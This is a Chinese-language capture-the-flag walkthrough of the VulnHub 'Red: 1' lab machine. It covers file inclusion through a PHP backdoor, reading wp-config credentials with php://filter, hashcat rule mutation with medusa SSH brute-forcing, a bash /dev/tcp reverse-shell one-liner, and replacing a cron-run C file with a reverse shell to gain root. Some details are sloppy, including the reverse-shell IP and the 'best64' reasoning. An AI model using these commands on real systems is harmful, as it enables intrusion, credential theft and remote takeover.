一:环境
靶机下载地址:Red: 1 ~ VulnHub
靶机IP:10.0.0.131(这里靶机可以使用VMware或者virtualbox打开(优先推荐使用virtualbox),至于virtualbox在打开多个靶机时如何 进行网路设置使得与kali虚拟机可以互相ping通,我在下一篇文章中会说明。如果有配置虚拟机网路出问题的可以看我下一篇文章)
攻击机:kali虚拟机
攻击机IP:10.0.0.128
二:实战
先用nmap 10.0.0.0/24查看该网段存活主机,发现了IP为10.0.0.131的靶机。
接下来,使用命令nmap -sV -p- 10.0.0.131收集该靶机的信息
发现有22,80两个端口,所以先浏览器访问一下80这个端口
这里在点击Hello Blue!跳转时发现域名变为redrocks.win了且显示无法访问,所以此时需要将该域名添加在kali虚拟机的/etc/hosts中。
添加后继续访问发现和之前问题一样,此时我突然意识到是不是我用物理机的浏览器访问的原因,因为该域名在物理机上是没有的。为了验证我这个猜想,我就使用kali虚拟机上的浏览器访问并且访问成功了,为了进一步验证我的猜想是对的,我就将该域名添加在了物理机上。添加方式为:
在C:\Windows\System32\drivers\etc\hosts中添加,要记得先给user hosts文件的写的权限,不然无法保存更改后的hosts文件。
保存完成后,就可以点击跳转了
发现这样一个界面,好像没什么信息(应该是英文水平不够的原因吧,哈哈)所以这种界面上出现看不懂的英文一定要找有道。Your site has been Hacked! You’ll never find the backdoor hahaha(你的网站被黑了!你永远找不到后门,哈哈哈)。所以,接下来我们要找到这个后门,那就使用Dirsearch -u 10.0.0.131扫描后台目录
这些绿色的一个一个来看,先看robots.txt
诶个访问没发现什么,下面几个打开后都是一些界面,没有什么用。所以,接下来使用gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/进行目录的枚举
这个报错意思是没有这个域名,前面说过没有域名要添加,因为是在Kali的终端进行的,所以将域名添加到Kali的/etc/hosts中
添加完再继续使用gobuster命令。
这可能是因为传参的时候出问题了,所以使用命令
wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt来测试参数
接下来访问redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
发现是一个文件包含的漏洞,上述内容目前不能为我们所用。所以使用php伪协议查看源码
发现可能是一个base64编码,先解码
VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==继续解码
看不懂,上网易有道
单凭密码是帮不了你的!Hashcat说规则就是规则,查一下Hashcat,大概意思就是按照一种规则生成密码。所以继续查找密码,试试配置文件
http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php
这里发现了一个用户名和密码
用户名:john
密码:R3v_m4lwh3r3_k1nG!!
先尝试登陆
登陆失败,突然想到前面那句话“单凭密码是帮不了你的!Hashcat说规则就是规则”,所以使用Hashcat碰撞,使用命令
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule >result.txt
(解释一下这里pass.txt存放的是刚才得到的那个密码 R3v_m4lwh3r3_k1nG!!,result.txt中存放的是碰撞后的结果,best64是因为上述内容是base64解出来的。所以,猜测是base64规则)
这就是碰撞生成的密码字典,接下来使用该字典进行爆破
medusa -M ssh -h redrocks.win -u john -P result.txt
爆破成功,开始登陆
登录成功,接下来进行提权。先使用sudo -l查看当前用户可以执行的操纵
发现有/usr/bin/time是在ippsec用户下,那就先切换到ippsec用户,结果发现退出来了
一开始我还没管以为是靶机或者网络不好,就用之前的密码再次登录。结果是登录失败
此时我就意识到了,这个密码应该是动态的,隔一段时间就变了并且时不时就拒绝连接了。所以,此时必须解决会话不能持久的问题,我上网查了发现可以通过新建一个终端进行会话持久,那就开干。首先,在kali上打开一个监听端口
nc - lvvp 7777
然后,再次爆破登录,登录成功后使先切换用户。同过sudo -l 命令发现可以使用
sudo -u ippsec usr/bin/time /bin/bash切换到ippsec用户,然后,使用一句话木马进行反弹shell
bash -c 'bash -i <& /dev/tcp/10.0.0.131/7777 0>&1'
反弹成功,新终端的功能不全。输入以下命令进行设置
python3 -c 'import pty;pty.spawn("/bin/bash")'
export SHELL=bash
#然后按Ctrl z先回到kali,再输入
stty raw -echo;fg
#最后输入reset
最后得到下面界面
我不知道为什么变成了这样,也没有找到解决办法。(如果有大哥大姐有解决办法记得给我留言)。
同时,也发现之前的连接已经掉了。但是shell 反弹的终端还在
接下来就开始进行提权,之前有说到有后门。所以查看一下正在运行的内容,这里我们使用pspy64s来查看。先将工具上传到靶机/dev/shm这个目录下
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
然后给pspy64s一个运行的权限
chmod +x pspy64s
运行:./pspy64s
有一个supersecretfileuc.c文件正在运行,去到这个文件目录下发现可以删除这个文件。此时我们就可以找一个.c的反弹shell来替换这个文件(注意这里.c文件的名称要与supersecretfileuc一致,这样就会正常运行我们替换的文件)。可以去这个网站
Online - Reverse Shell Generator (revshells.com)https://www.revshells.com/去得到一个.c的反弹shell代码(记得修改代码中的IP和端口号),将其复制到kali上再通过wget上传至靶机。先在kali上打开上传的端口
然后上传
wget http://10.0.0.128:555/tiquan/supersecretfileuc.c
说没有内存空间了,然后我去尝试上传到/dev/shm目录然后移动过来。结果是没有权限,我就上百度搜了一下说可以用软连接。
ln -s /dev/shm/supersecretfileuc.c supersecretfileuc.c
给运行权限
chmod +x supersecretfileuc.c
先在kali上开启反弹shell代码中的端口
nc -lvvp 9001
然后等待就可以了,因为supersecretfileuc.c文件是自行运行的所以等着监听窗口响应
响应成功并且已经拿到了root权限
在/home/oxdf目录下成功拿到flag!!!